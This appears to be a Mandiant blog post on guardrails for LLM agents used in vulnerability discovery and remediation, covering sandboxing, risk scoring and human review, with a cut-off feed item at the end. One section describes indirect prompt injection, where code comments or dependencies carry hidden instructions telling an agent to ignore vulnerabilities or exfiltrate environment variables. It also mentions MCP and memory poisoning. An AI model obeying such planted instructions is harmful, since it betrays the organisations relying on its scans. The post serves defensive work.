<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image1.max-1000x1000.png" alt="Demystifying AI image1">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="u6hlz">Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image5.max-1000x1000.png" alt="Demystifying AI image5">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ce5s1">Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image8.max-1000x1000.png" alt="Demystifying AI image8">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 3: Structural containment and observability architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image4.max-1000x1000.png" alt="Demystifying AI image4">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 4: Deterministic SAST scanners vs. probabilistic LLMs</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image3.max-1000x1000.png" alt="Demystifying AI image3">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_20.max-1000x1000.png" alt="Demistiying Image 6 New">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Screenshot_2026-07-15_at_10.24.22PM.max-1000x1000.png" alt="demistifying image 7">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New AI Penetration Testing Framework Covers Prompt Injection, Data Poisoning, and Agentic Tool Misuse]]></title>
<description><![CDATA[Security teams are increasingly deploying large language models, retrieval-augmented generation platforms, autonomous agents, and AI copilots inside business applications. However, many organizations still assess these systems using conventional penetration testing methods designed for web server...]]></description>
